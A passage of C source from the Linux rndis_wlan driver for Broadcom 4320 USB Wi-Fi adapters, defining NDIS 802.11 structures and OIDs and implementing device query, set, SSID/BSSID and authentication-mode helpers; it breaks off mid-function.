#define OID_802_11_ENCRYPTION_STATUS cpu_to_le32(0x0d01011b)
#define OID_802_11_ADD_KEY cpu_to_le32(0x0d01011d)
#define OID_802_11_REMOVE_KEY cpu_to_le32(0x0d01011e)
#define OID_802_11_ASSOCIATION_INFORMATION cpu_to_le32(0x0d01011f)
#define OID_802_11_CAPABILITY cpu_to_le32(0x0d010122)
#define OID_802_11_PMKID cpu_to_le32(0x0d010123)
#define OID_802_11_NETWORK_TYPES_SUPPORTED cpu_to_le32(0x0d010203)
#define OID_802_11_NETWORK_TYPE_IN_USE cpu_to_le32(0x0d010204)
#define OID_802_11_TX_POWER_LEVEL cpu_to_le32(0x0d010205)
#define OID_802_11_RSSI cpu_to_le32(0x0d010206)
#define OID_802_11_RSSI_TRIGGER cpu_to_le32(0x0d010207)
#define OID_802_11_FRAGMENTATION_THRESHOLD cpu_to_le32(0x0d010209)
#define OID_802_11_RTS_THRESHOLD cpu_to_le32(0x0d01020a)
#define OID_802_11_SUPPORTED_RATES cpu_to_le32(0x0d01020e)
#define OID_802_11_CONFIGURATION cpu_to_le32(0x0d010211)
#define OID_802_11_POWER_MODE cpu_to_le32(0x0d010216)
#define OID_802_11_BSSID_LIST cpu_to_le32(0x0d010217)
/* Typical noise/maximum signal level values taken from ndiswrapper iw_ndis.h */
#define WL_NOISE -96 /* typical noise level in dBm */
#define WL_SIGMAX -32 /* typical maximum signal level in dBm */
/* Assume that Broadcom 4320 (only chipset at time of writing known to be
* based on wireless rndis) has default txpower of 13dBm.
* This value is from Linksys WUSB54GSC User Guide, Appendix F: Specifications.
* 100% : 20 mW ~ 13dBm
* 75% : 15 mW ~ 12dBm
* 50% : 10 mW ~ 10dBm
* 25% : 5 mW ~ 7dBm
*/
#define BCM4320_DEFAULT_TXPOWER_DBM_100 13
#define BCM4320_DEFAULT_TXPOWER_DBM_75 12
#define BCM4320_DEFAULT_TXPOWER_DBM_50 10
#define BCM4320_DEFAULT_TXPOWER_DBM_25 7
/* codes for "status" field of completion messages */
#define RNDIS_STATUS_ADAPTER_NOT_READY cpu_to_le32(0xc0010011)
#define RNDIS_STATUS_ADAPTER_NOT_OPEN cpu_to_le32(0xc0010012)
/* Known device types */
#define RNDIS_UNKNOWN 0
#define RNDIS_BCM4320A 1
#define RNDIS_BCM4320B 2
/* NDIS data structures. Taken from wpa_supplicant driver_ndis.c
* slightly modified for datatype endianess, etc
*/
#define NDIS_802_11_LENGTH_SSID 32
#define NDIS_802_11_LENGTH_RATES 8
#define NDIS_802_11_LENGTH_RATES_EX 16
enum ndis_80211_net_type {
NDIS_80211_TYPE_FREQ_HOP,
NDIS_80211_TYPE_DIRECT_SEQ,
NDIS_80211_TYPE_OFDM_A,
NDIS_80211_TYPE_OFDM_G
};
enum ndis_80211_net_infra {
NDIS_80211_INFRA_ADHOC,
NDIS_80211_INFRA_INFRA,
NDIS_80211_INFRA_AUTO_UNKNOWN
};
enum ndis_80211_auth_mode {
NDIS_80211_AUTH_OPEN,
NDIS_80211_AUTH_SHARED,
NDIS_80211_AUTH_AUTO_SWITCH,
NDIS_80211_AUTH_WPA,
NDIS_80211_AUTH_WPA_PSK,
NDIS_80211_AUTH_WPA_NONE,
NDIS_80211_AUTH_WPA2,
NDIS_80211_AUTH_WPA2_PSK
};
enum ndis_80211_encr_status {
NDIS_80211_ENCR_WEP_ENABLED,
NDIS_80211_ENCR_DISABLED,
NDIS_80211_ENCR_WEP_KEY_ABSENT,
NDIS_80211_ENCR_NOT_SUPPORTED,
NDIS_80211_ENCR_TKIP_ENABLED,
NDIS_80211_ENCR_TKIP_KEY_ABSENT,
NDIS_80211_ENCR_CCMP_ENABLED,
NDIS_80211_ENCR_CCMP_KEY_ABSENT
};
enum ndis_80211_priv_filter {
NDIS_80211_PRIV_ACCEPT_ALL,
NDIS_80211_PRIV_8021X_WEP
};
enum ndis_80211_status_type {
NDIS_80211_STATUSTYPE_AUTHENTICATION,
NDIS_80211_STATUSTYPE_MEDIASTREAMMODE,
NDIS_80211_STATUSTYPE_PMKID_CANDIDATELIST,
NDIS_80211_STATUSTYPE_RADIOSTATE,
};
enum ndis_80211_media_stream_mode {
NDIS_80211_MEDIA_STREAM_OFF,
NDIS_80211_MEDIA_STREAM_ON
};
enum ndis_80211_radio_status {
NDIS_80211_RADIO_STATUS_ON,
NDIS_80211_RADIO_STATUS_HARDWARE_OFF,
NDIS_80211_RADIO_STATUS_SOFTWARE_OFF,
};
enum ndis_80211_addkey_bits {
NDIS_80211_ADDKEY_8021X_AUTH = cpu_to_le32(1 << 28),
NDIS_80211_ADDKEY_SET_INIT_RECV_SEQ = cpu_to_le32(1 << 29),
NDIS_80211_ADDKEY_PAIRWISE_KEY = cpu_to_le32(1 << 30),
NDIS_80211_ADDKEY_TRANSMIT_KEY = cpu_to_le32(1 << 31)
};
enum ndis_80211_addwep_bits {
NDIS_80211_ADDWEP_PERCLIENT_KEY = cpu_to_le32(1 << 30),
NDIS_80211_ADDWEP_TRANSMIT_KEY = cpu_to_le32(1 << 31)
};
enum ndis_80211_power_mode {
NDIS_80211_POWER_MODE_CAM,
NDIS_80211_POWER_MODE_MAX_PSP,
NDIS_80211_POWER_MODE_FAST_PSP,
};
struct ndis_80211_auth_request {
__le32 length;
u8 bssid[6];
u8 padding[2];
__le32 flags;
} __packed;
struct ndis_80211_pmkid_candidate {
u8 bssid[6];
u8 padding[2];
__le32 flags;
} __packed;
struct ndis_80211_pmkid_cand_list {
__le32 version;
__le32 num_candidates;
struct ndis_80211_pmkid_candidate candidate_list[0];
} __packed;
struct ndis_80211_status_indication {
__le32 status_type;
union {
__le32 media_stream_mode;
__le32 radio_status;
struct ndis_80211_auth_request auth_request[0];
struct ndis_80211_pmkid_cand_list cand_list;
} u;
} __packed;
struct ndis_80211_ssid {
__le32 length;
u8 essid[NDIS_802_11_LENGTH_SSID];
} __packed;
struct ndis_80211_conf_freq_hop {
__le32 length;
__le32 hop_pattern;
__le32 hop_set;
__le32 dwell_time;
} __packed;
struct ndis_80211_conf {
__le32 length;
__le32 beacon_period;
__le32 atim_window;
__le32 ds_config;
struct ndis_80211_conf_freq_hop fh_config;
} __packed;
struct ndis_80211_bssid_ex {
__le32 length;
u8 mac[6];
u8 padding[2];
struct ndis_80211_ssid ssid;
__le32 privacy;
__le32 rssi;
__le32 net_type;
struct ndis_80211_conf config;
__le32 net_infra;
u8 rates[NDIS_802_11_LENGTH_RATES_EX];
__le32 ie_length;
u8 ies[0];
} __packed;
struct ndis_80211_bssid_list_ex {
__le32 num_items;
struct ndis_80211_bssid_ex bssid[0];
} __packed;
struct ndis_80211_fixed_ies {
u8 timestamp[8];
__le16 beacon_interval;
__le16 capabilities;
} __packed;
struct ndis_80211_wep_key {
__le32 size;
__le32 index;
__le32 length;
u8 material[32];
} __packed;
struct ndis_80211_key {
__le32 size;
__le32 index;
__le32 length;
u8 bssid[6];
u8 padding[6];
u8 rsc[8];
u8 material[32];
} __packed;
struct ndis_80211_remove_key {
__le32 size;
__le32 index;
u8 bssid[6];
u8 padding[2];
} __packed;
struct ndis_config_param {
__le32 name_offs;
__le32 name_length;
__le32 type;
__le32 value_offs;
__le32 value_length;
} __packed;
struct ndis_80211_assoc_info {
__le32 length;
__le16 req_ies;
struct req_ie {
__le16 capa;
__le16 listen_interval;
u8 cur_ap_address[6];
} req_ie;
__le32 req_ie_length;
__le32 offset_req_ies;
__le16 resp_ies;
struct resp_ie {
__le16 capa;
__le16 status_code;
__le16 assoc_id;
} resp_ie;
__le32 resp_ie_length;
__le32 offset_resp_ies;
} __packed;
struct ndis_80211_auth_encr_pair {
__le32 auth_mode;
__le32 encr_mode;
} __packed;
struct ndis_80211_capability {
__le32 length;
__le32 version;
__le32 num_pmkids;
__le32 num_auth_encr_pair;
struct ndis_80211_auth_encr_pair auth_encr_pair[0];
} __packed;
struct ndis_80211_bssid_info {
u8 bssid[6];
u8 pmkid[16];
};
struct ndis_80211_pmkid {
__le32 length;
__le32 bssid_info_count;
struct ndis_80211_bssid_info bssid_info[0];
};
/*
* private data
*/
#define NET_TYPE_11FB 0
#define CAP_MODE_80211A 1
#define CAP_MODE_80211B 2
#define CAP_MODE_80211G 4
#define CAP_MODE_MASK 7
#define WORK_LINK_UP (1<<0)
#define WORK_LINK_DOWN (1<<1)
#define WORK_SET_MULTICAST_LIST (1<<2)
#define RNDIS_WLAN_ALG_NONE 0
#define RNDIS_WLAN_ALG_WEP (1<<0)
#define RNDIS_WLAN_ALG_TKIP (1<<1)
#define RNDIS_WLAN_ALG_CCMP (1<<2)
#define RNDIS_WLAN_NUM_KEYS 4
#define RNDIS_WLAN_KEY_MGMT_NONE 0
#define RNDIS_WLAN_KEY_MGMT_802_1X (1<<0)
#define RNDIS_WLAN_KEY_MGMT_PSK (1<<1)
#define COMMAND_BUFFER_SIZE (CONTROL_BUFFER_SIZE + sizeof(struct rndis_set))
static const struct ieee80211_channel rndis_channels[] = {
{ .center_freq = 2412 },
{ .center_freq = 2417 },
{ .center_freq = 2422 },
{ .center_freq = 2427 },
{ .center_freq = 2432 },
{ .center_freq = 2437 },
{ .center_freq = 2442 },
{ .center_freq = 2447 },
{ .center_freq = 2452 },
{ .center_freq = 2457 },
{ .center_freq = 2462 },
{ .center_freq = 2467 },
{ .center_freq = 2472 },
{ .center_freq = 2484 },
};
static const struct ieee80211_rate rndis_rates[] = {
{ .bitrate = 10 },
{ .bitrate = 20, .flags = IEEE80211_RATE_SHORT_PREAMBLE },
{ .bitrate = 55, .flags = IEEE80211_RATE_SHORT_PREAMBLE },
{ .bitrate = 110, .flags = IEEE80211_RATE_SHORT_PREAMBLE },
{ .bitrate = 60 },
{ .bitrate = 90 },
{ .bitrate = 120 },
{ .bitrate = 180 },
{ .bitrate = 240 },
{ .bitrate = 360 },
{ .bitrate = 480 },
{ .bitrate = 540 }
};
static const u32 rndis_cipher_suites[] = {
WLAN_CIPHER_SUITE_WEP40,
WLAN_CIPHER_SUITE_WEP104,
WLAN_CIPHER_SUITE_TKIP,
WLAN_CIPHER_SUITE_CCMP,
};
struct rndis_wlan_encr_key {
int len;
u32 cipher;
u8 material[32];
u8 bssid[ETH_ALEN];
bool pairwise;
bool tx_key;
};
/* RNDIS device private data */
struct rndis_wlan_private {
struct usbnet *usbdev;
struct wireless_dev wdev;
struct cfg80211_scan_request *scan_request;
struct workqueue_struct *workqueue;
struct delayed_work dev_poller_work;
struct delayed_work scan_work;
struct work_struct work;
struct mutex command_lock;
unsigned long work_pending;
int last_qual;
s32 cqm_rssi_thold;
u32 cqm_rssi_hyst;
int last_cqm_event_rssi;
struct ieee80211_supported_band band;
struct ieee80211_channel channels[ARRAY_SIZE(rndis_channels)];
struct ieee80211_rate rates[ARRAY_SIZE(rndis_rates)];
u32 cipher_suites[ARRAY_SIZE(rndis_cipher_suites)];
int device_type;
int caps;
int multicast_size;
/* module parameters */
char param_country[4];
int param_frameburst;
int param_afterburner;
int param_power_save;
int param_power_output;
int param_roamtrigger;
int param_roamdelta;
u32 param_workaround_interval;
/* hardware state */
bool radio_on;
int power_mode;
int infra_mode;
bool connected;
u8 bssid[ETH_ALEN];
__le32 current_command_oid;
/* encryption stuff */
int encr_tx_key_index;
struct rndis_wlan_encr_key encr_keys[RNDIS_WLAN_NUM_KEYS];
int wpa_version;
u8 command_buffer[COMMAND_BUFFER_SIZE];
};
/*
* cfg80211 ops
*/
static int rndis_change_virtual_intf(struct wiphy *wiphy,
struct net_device *dev,
enum nl80211_iftype type, u32 *flags,
struct vif_params *params);
static int rndis_scan(struct wiphy *wiphy, struct net_device *dev,
struct cfg80211_scan_request *request);
static int rndis_set_wiphy_params(struct wiphy *wiphy, u32 changed);
static int rndis_set_tx_power(struct wiphy *wiphy,
enum nl80211_tx_power_setting type,
int mbm);
static int rndis_get_tx_power(struct wiphy *wiphy, int *dbm);
static int rndis_connect(struct wiphy *wiphy, struct net_device *dev,
struct cfg80211_connect_params *sme);
static int rndis_disconnect(struct wiphy *wiphy, struct net_device *dev,
u16 reason_code);
static int rndis_join_ibss(struct wiphy *wiphy, struct net_device *dev,
struct cfg80211_ibss_params *params);
static int rndis_leave_ibss(struct wiphy *wiphy, struct net_device *dev);
static int rndis_set_channel(struct wiphy *wiphy, struct net_device *dev,
struct ieee80211_channel *chan, enum nl80211_channel_type channel_type);
static int rndis_add_key(struct wiphy *wiphy, struct net_device *netdev,
u8 key_index, bool pairwise, const u8 *mac_addr,
struct key_params *params);
static int rndis_del_key(struct wiphy *wiphy, struct net_device *netdev,
u8 key_index, bool pairwise, const u8 *mac_addr);
static int rndis_set_default_key(struct wiphy *wiphy, struct net_device *netdev,
u8 key_index, bool unicast, bool multicast);
static int rndis_get_station(struct wiphy *wiphy, struct net_device *dev,
u8 *mac, struct station_info *sinfo);
static int rndis_dump_station(struct wiphy *wiphy, struct net_device *dev,
int idx, u8 *mac, struct station_info *sinfo);
static int rndis_set_pmksa(struct wiphy *wiphy, struct net_device *netdev,
struct cfg80211_pmksa *pmksa);
static int rndis_del_pmksa(struct wiphy *wiphy, struct net_device *netdev,
struct cfg80211_pmksa *pmksa);
static int rndis_flush_pmksa(struct wiphy *wiphy, struct net_device *netdev);
static int rndis_set_power_mgmt(struct wiphy *wiphy, struct net_device *dev,
bool enabled, int timeout);
static int rndis_set_cqm_rssi_config(struct wiphy *wiphy,
struct net_device *dev,
s32 rssi_thold, u32 rssi_hyst);
static const struct cfg80211_ops rndis_config_ops = {
.change_virtual_intf = rndis_change_virtual_intf,
.scan = rndis_scan,
.set_wiphy_params = rndis_set_wiphy_params,
.set_tx_power = rndis_set_tx_power,
.get_tx_power = rndis_get_tx_power,
.connect = rndis_connect,
.disconnect = rndis_disconnect,
.join_ibss = rndis_join_ibss,
.leave_ibss = rndis_leave_ibss,
.set_channel = rndis_set_channel,
.add_key = rndis_add_key,
.del_key = rndis_del_key,
.set_default_key = rndis_set_default_key,
.get_station = rndis_get_station,
.dump_station = rndis_dump_station,
.set_pmksa = rndis_set_pmksa,
.del_pmksa = rndis_del_pmksa,
.flush_pmksa = rndis_flush_pmksa,
.set_power_mgmt = rndis_set_power_mgmt,
.set_cqm_rssi_config = rndis_set_cqm_rssi_config,
};
static void *rndis_wiphy_privid = &rndis_wiphy_privid;
static struct rndis_wlan_private *get_rndis_wlan_priv(struct usbnet *dev)
{
return (struct rndis_wlan_private *)dev->driver_priv;
}
static u32 get_bcm4320_power_dbm(struct rndis_wlan_private *priv)
{
switch (priv->param_power_output) {
default:
case 3:
return BCM4320_DEFAULT_TXPOWER_DBM_100;
case 2:
return BCM4320_DEFAULT_TXPOWER_DBM_75;
case 1:
return BCM4320_DEFAULT_TXPOWER_DBM_50;
case 0:
return BCM4320_DEFAULT_TXPOWER_DBM_25;
}
}
static bool is_wpa_key(struct rndis_wlan_private *priv, int idx)
{
int cipher = priv->encr_keys[idx].cipher;
return (cipher == WLAN_CIPHER_SUITE_CCMP ||
cipher == WLAN_CIPHER_SUITE_TKIP);
}
static int rndis_cipher_to_alg(u32 cipher)
{
switch (cipher) {
default:
return RNDIS_WLAN_ALG_NONE;
case WLAN_CIPHER_SUITE_WEP40:
case WLAN_CIPHER_SUITE_WEP104:
return RNDIS_WLAN_ALG_WEP;
case WLAN_CIPHER_SUITE_TKIP:
return RNDIS_WLAN_ALG_TKIP;
case WLAN_CIPHER_SUITE_CCMP:
return RNDIS_WLAN_ALG_CCMP;
}
}
static int rndis_akm_suite_to_key_mgmt(u32 akm_suite)
{
switch (akm_suite) {
default:
return RNDIS_WLAN_KEY_MGMT_NONE;
case WLAN_AKM_SUITE_8021X:
return RNDIS_WLAN_KEY_MGMT_802_1X;
case WLAN_AKM_SUITE_PSK:
return RNDIS_WLAN_KEY_MGMT_PSK;
}
}
#ifdef DEBUG
static const char *oid_to_string(__le32 oid)
{
switch (oid) {
#define OID_STR(oid) case oid: return(#oid)
/* from rndis_host.h */
OID_STR(OID_802_3_PERMANENT_ADDRESS);
OID_STR(OID_GEN_MAXIMUM_FRAME_SIZE);
OID_STR(OID_GEN_CURRENT_PACKET_FILTER);
OID_STR(OID_GEN_PHYSICAL_MEDIUM);
/* from rndis_wlan.c */
OID_STR(OID_GEN_LINK_SPEED);
OID_STR(OID_GEN_RNDIS_CONFIG_PARAMETER);
OID_STR(OID_GEN_XMIT_OK);
OID_STR(OID_GEN_RCV_OK);
OID_STR(OID_GEN_XMIT_ERROR);
OID_STR(OID_GEN_RCV_ERROR);
OID_STR(OID_GEN_RCV_NO_BUFFER);
OID_STR(OID_802_3_CURRENT_ADDRESS);
OID_STR(OID_802_3_MULTICAST_LIST);
OID_STR(OID_802_3_MAXIMUM_LIST_SIZE);
OID_STR(OID_802_11_BSSID);
OID_STR(OID_802_11_SSID);
OID_STR(OID_802_11_INFRASTRUCTURE_MODE);
OID_STR(OID_802_11_ADD_WEP);
OID_STR(OID_802_11_REMOVE_WEP);
OID_STR(OID_802_11_DISASSOCIATE);
OID_STR(OID_802_11_AUTHENTICATION_MODE);
OID_STR(OID_802_11_PRIVACY_FILTER);
OID_STR(OID_802_11_BSSID_LIST_SCAN);
OID_STR(OID_802_11_ENCRYPTION_STATUS);
OID_STR(OID_802_11_ADD_KEY);
OID_STR(OID_802_11_REMOVE_KEY);
OID_STR(OID_802_11_ASSOCIATION_INFORMATION);
OID_STR(OID_802_11_CAPABILITY);
OID_STR(OID_802_11_PMKID);
OID_STR(OID_802_11_NETWORK_TYPES_SUPPORTED);
OID_STR(OID_802_11_NETWORK_TYPE_IN_USE);
OID_STR(OID_802_11_TX_POWER_LEVEL);
OID_STR(OID_802_11_RSSI);
OID_STR(OID_802_11_RSSI_TRIGGER);
OID_STR(OID_802_11_FRAGMENTATION_THRESHOLD);
OID_STR(OID_802_11_RTS_THRESHOLD);
OID_STR(OID_802_11_SUPPORTED_RATES);
OID_STR(OID_802_11_CONFIGURATION);
OID_STR(OID_802_11_POWER_MODE);
OID_STR(OID_802_11_BSSID_LIST);
#undef OID_STR
}
return "?";
}
#else
static const char *oid_to_string(__le32 oid)
{
return "?";
}
#endif
/* translate error code */
static int rndis_error_status(__le32 rndis_status)
{
int ret = -EINVAL;
switch (rndis_status) {
case RNDIS_STATUS_SUCCESS:
ret = 0;
break;
case RNDIS_STATUS_FAILURE:
case RNDIS_STATUS_INVALID_DATA:
ret = -EINVAL;
break;
case RNDIS_STATUS_NOT_SUPPORTED:
ret = -EOPNOTSUPP;
break;
case RNDIS_STATUS_ADAPTER_NOT_READY:
case RNDIS_STATUS_ADAPTER_NOT_OPEN:
ret = -EBUSY;
break;
}
return ret;
}
static int rndis_query_oid(struct usbnet *dev, __le32 oid, void *data, int *len)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(dev);
union {
void *buf;
struct rndis_msg_hdr *header;
struct rndis_query *get;
struct rndis_query_c *get_c;
} u;
int ret, buflen;
int resplen, respoffs, copylen;
buflen = *len + sizeof(*u.get);
if (buflen < CONTROL_BUFFER_SIZE)
buflen = CONTROL_BUFFER_SIZE;
if (buflen > COMMAND_BUFFER_SIZE) {
u.buf = kmalloc(buflen, GFP_KERNEL);
if (!u.buf)
return -ENOMEM;
} else {
u.buf = priv->command_buffer;
}
mutex_lock(&priv->command_lock);
memset(u.get, 0, sizeof *u.get);
u.get->msg_type = RNDIS_MSG_QUERY;
u.get->msg_len = cpu_to_le32(sizeof *u.get);
u.get->oid = oid;
priv->current_command_oid = oid;
ret = rndis_command(dev, u.header, buflen);
priv->current_command_oid = 0;
if (ret < 0)
netdev_dbg(dev->net, "%s(%s): rndis_command() failed, %d (%08x)\n",
__func__, oid_to_string(oid), ret,
le32_to_cpu(u.get_c->status));
if (ret == 0) {
resplen = le32_to_cpu(u.get_c->len);
respoffs = le32_to_cpu(u.get_c->offset) + 8;
if (respoffs > buflen) {
/* Device returned data offset outside buffer, error. */
netdev_dbg(dev->net, "%s(%s): received invalid "
"data offset: %d > %d\n", __func__,
oid_to_string(oid), respoffs, buflen);
ret = -EINVAL;
goto exit_unlock;
}
if ((resplen + respoffs) > buflen) {
/* Device would have returned more data if buffer would
* have been big enough. Copy just the bits that we got.
*/
copylen = buflen - respoffs;
} else {
copylen = resplen;
}
if (copylen > *len)
copylen = *len;
memcpy(data, u.buf + respoffs, copylen);
*len = resplen;
ret = rndis_error_status(u.get_c->status);
if (ret < 0)
netdev_dbg(dev->net, "%s(%s): device returned error, 0x%08x (%d)\n",
__func__, oid_to_string(oid),
le32_to_cpu(u.get_c->status), ret);
}
exit_unlock:
mutex_unlock(&priv->command_lock);
if (u.buf != priv->command_buffer)
kfree(u.buf);
return ret;
}
static int rndis_set_oid(struct usbnet *dev, __le32 oid, const void *data,
int len)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(dev);
union {
void *buf;
struct rndis_msg_hdr *header;
struct rndis_set *set;
struct rndis_set_c *set_c;
} u;
int ret, buflen;
buflen = len + sizeof(*u.set);
if (buflen < CONTROL_BUFFER_SIZE)
buflen = CONTROL_BUFFER_SIZE;
if (buflen > COMMAND_BUFFER_SIZE) {
u.buf = kmalloc(buflen, GFP_KERNEL);
if (!u.buf)
return -ENOMEM;
} else {
u.buf = priv->command_buffer;
}
mutex_lock(&priv->command_lock);
memset(u.set, 0, sizeof *u.set);
u.set->msg_type = RNDIS_MSG_SET;
u.set->msg_len = cpu_to_le32(sizeof(*u.set) + len);
u.set->oid = oid;
u.set->len = cpu_to_le32(len);
u.set->offset = cpu_to_le32(sizeof(*u.set) - 8);
u.set->handle = cpu_to_le32(0);
memcpy(u.buf + sizeof(*u.set), data, len);
priv->current_command_oid = oid;
ret = rndis_command(dev, u.header, buflen);
priv->current_command_oid = 0;
if (ret < 0)
netdev_dbg(dev->net, "%s(%s): rndis_command() failed, %d (%08x)\n",
__func__, oid_to_string(oid), ret,
le32_to_cpu(u.set_c->status));
if (ret == 0) {
ret = rndis_error_status(u.set_c->status);
if (ret < 0)
netdev_dbg(dev->net, "%s(%s): device returned error, 0x%08x (%d)\n",
__func__, oid_to_string(oid),
le32_to_cpu(u.set_c->status), ret);
}
mutex_unlock(&priv->command_lock);
if (u.buf != priv->command_buffer)
kfree(u.buf);
return ret;
}
static int rndis_reset(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct rndis_reset *reset;
int ret;
mutex_lock(&priv->command_lock);
reset = (void *)priv->command_buffer;
memset(reset, 0, sizeof(*reset));
reset->msg_type = RNDIS_MSG_RESET;
reset->msg_len = cpu_to_le32(sizeof(*reset));
priv->current_command_oid = 0;
ret = rndis_command(usbdev, (void *)reset, CONTROL_BUFFER_SIZE);
mutex_unlock(&priv->command_lock);
if (ret < 0)
return ret;
return 0;
}
/*
* Specs say that we can only set config parameters only soon after device
* initialization.
* value_type: 0 = u32, 2 = unicode string
*/
static int rndis_set_config_parameter(struct usbnet *dev, char *param,
int value_type, void *value)
{
struct ndis_config_param *infobuf;
int value_len, info_len, param_len, ret, i;
__le16 *unibuf;
__le32 *dst_value;
if (value_type == 0)
value_len = sizeof(__le32);
else if (value_type == 2)
value_len = strlen(value) * sizeof(__le16);
else
return -EINVAL;
param_len = strlen(param) * sizeof(__le16);
info_len = sizeof(*infobuf) + param_len + value_len;
#ifdef DEBUG
info_len += 12;
#endif
infobuf = kmalloc(info_len, GFP_KERNEL);
if (!infobuf)
return -ENOMEM;
#ifdef DEBUG
info_len -= 12;
/* extra 12 bytes are for padding (debug output) */
memset(infobuf, 0xCC, info_len + 12);
#endif
if (value_type == 2)
netdev_dbg(dev->net, "setting config parameter: %s, value: %s\n",
param, (u8 *)value);
else
netdev_dbg(dev->net, "setting config parameter: %s, value: %d\n",
param, *(u32 *)value);
infobuf->name_offs = cpu_to_le32(sizeof(*infobuf));
infobuf->name_length = cpu_to_le32(param_len);
infobuf->type = cpu_to_le32(value_type);
infobuf->value_offs = cpu_to_le32(sizeof(*infobuf) + param_len);
infobuf->value_length = cpu_to_le32(value_len);
/* simple string to unicode string conversion */
unibuf = (void *)infobuf + sizeof(*infobuf);
for (i = 0; i < param_len / sizeof(__le16); i++)
unibuf[i] = cpu_to_le16(param[i]);
if (value_type == 2) {
unibuf = (void *)infobuf + sizeof(*infobuf) + param_len;
for (i = 0; i < value_len / sizeof(__le16); i++)
unibuf[i] = cpu_to_le16(((u8 *)value)[i]);
} else {
dst_value = (void *)infobuf + sizeof(*infobuf) + param_len;
*dst_value = cpu_to_le32(*(u32 *)value);
}
#ifdef DEBUG
netdev_dbg(dev->net, "info buffer (len: %d)\n", info_len);
for (i = 0; i < info_len; i += 12) {
u32 *tmp = (u32 *)((u8 *)infobuf + i);
netdev_dbg(dev->net, "%08X:%08X:%08X\n",
cpu_to_be32(tmp[0]),
cpu_to_be32(tmp[1]),
cpu_to_be32(tmp[2]));
}
#endif
ret = rndis_set_oid(dev, OID_GEN_RNDIS_CONFIG_PARAMETER,
infobuf, info_len);
if (ret != 0)
netdev_dbg(dev->net, "setting rndis config parameter failed, %d\n",
ret);
kfree(infobuf);
return ret;
}
static int rndis_set_config_parameter_str(struct usbnet *dev,
char *param, char *value)
{
return rndis_set_config_parameter(dev, param, 2, value);
}
/*
* data conversion functions
*/
static int level_to_qual(int level)
{
int qual = 100 * (level - WL_NOISE) / (WL_SIGMAX - WL_NOISE);
return qual >= 0 ? (qual <= 100 ? qual : 100) : 0;
}
/*
* common functions
*/
static int set_infra_mode(struct usbnet *usbdev, int mode);
static void restore_keys(struct usbnet *usbdev);
static int rndis_check_bssid_list(struct usbnet *usbdev, u8 *match_bssid,
bool *matched);
static int rndis_start_bssid_list_scan(struct usbnet *usbdev)
{
__le32 tmp;
/* Note: OID_802_11_BSSID_LIST_SCAN clears internal BSS list. */
tmp = cpu_to_le32(1);
return rndis_set_oid(usbdev, OID_802_11_BSSID_LIST_SCAN, &tmp,
sizeof(tmp));
}
static int set_essid(struct usbnet *usbdev, struct ndis_80211_ssid *ssid)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
int ret;
ret = rndis_set_oid(usbdev, OID_802_11_SSID, ssid, sizeof(*ssid));
if (ret < 0) {
netdev_warn(usbdev->net, "setting SSID failed (%08X)\n", ret);
return ret;
}
if (ret == 0) {
priv->radio_on = true;
netdev_dbg(usbdev->net, "%s(): radio_on = true\n", __func__);
}
return ret;
}
static int set_bssid(struct usbnet *usbdev, const u8 *bssid)
{
int ret;
ret = rndis_set_oid(usbdev, OID_802_11_BSSID, bssid, ETH_ALEN);
if (ret < 0) {
netdev_warn(usbdev->net, "setting BSSID[%pM] failed (%08X)\n",
bssid, ret);
return ret;
}
return ret;
}
static int clear_bssid(struct usbnet *usbdev)
{
static const u8 broadcast_mac[ETH_ALEN] = {
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
return set_bssid(usbdev, broadcast_mac);
}
static int get_bssid(struct usbnet *usbdev, u8 bssid[ETH_ALEN])
{
int ret, len;
len = ETH_ALEN;
ret = rndis_query_oid(usbdev, OID_802_11_BSSID, bssid, &len);
if (ret != 0)
memset(bssid, 0, ETH_ALEN);
return ret;
}
static int get_association_info(struct usbnet *usbdev,
struct ndis_80211_assoc_info *info, int len)
{
return rndis_query_oid(usbdev, OID_802_11_ASSOCIATION_INFORMATION,
info, &len);
}
static bool is_associated(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
u8 bssid[ETH_ALEN];
int ret;
if (!priv->radio_on)
return false;
ret = get_bssid(usbdev, bssid);
return (ret == 0 && !is_zero_ether_addr(bssid));
}
static int disassociate(struct usbnet *usbdev, bool reset_ssid)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct ndis_80211_ssid ssid;
int i, ret = 0;
if (priv->radio_on) {
ret = rndis_set_oid(usbdev, OID_802_11_DISASSOCIATE, NULL, 0);
if (ret == 0) {
priv->radio_on = false;
netdev_dbg(usbdev->net, "%s(): radio_on = false\n",
__func__);
if (reset_ssid)
msleep(100);
}
}
/* disassociate causes radio to be turned off; if reset_ssid
* is given, set random ssid to enable radio */
if (reset_ssid) {
/* Set device to infrastructure mode so we don't get ad-hoc
* 'media connect' indications with the random ssid.
*/
set_infra_mode(usbdev, NDIS_80211_INFRA_INFRA);
ssid.length = cpu_to_le32(sizeof(ssid.essid));
get_random_bytes(&ssid.essid[2], sizeof(ssid.essid)-2);
ssid.essid[0] = 0x1;
ssid.essid[1] = 0xff;
for (i = 2; i < sizeof(ssid.essid); i++)
ssid.essid[i] = 0x1 + (ssid.essid[i] * 0xfe / 0xff);
ret = set_essid(usbdev, &ssid);
}
return ret;
}
static int set_auth_mode(struct usbnet *usbdev, u32 wpa_version,
enum nl80211_auth_type auth_type, int keymgmt)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
__le32 tmp;
int auth_mode, ret;
netdev_dbg(usbdev->net, "%s(): wpa_version=0x%x authalg=0x%x keymgmt=0x%x\n",
__func__, wpa_version, auth_type, keymgmt);
if (wpa_version & NL80211_WPA_VERSION_2) {
if (keymgmt & RNDIS_WLAN_KEY_MGMT_802_1X)
auth_mode = NDIS_80211_AUTH_WPA2;
else
auth_mode = NDIS_80211_AUTH_WPA2_PSK;
} else if (wpa_version & NL80211_WPA_VERSION_1) {
if (keymgmt & RNDIS_WLAN_KEY_MGMT_802_1X)
auth_mode = NDIS_80211_AUTH_WPA;
else if (keymgmt & RNDIS_WLAN_KEY_MGMT_PSK)
auth_mode = NDIS_80211_AUTH_WPA_PSK;
else
auth_mode = NDIS_80211_AUTH_WPA_NONE;
} else if (auth_type == NL80211_AUTHTYPE_SHARED_KEY)
auth_mode = NDIS_80211_AUTH_SHARED;
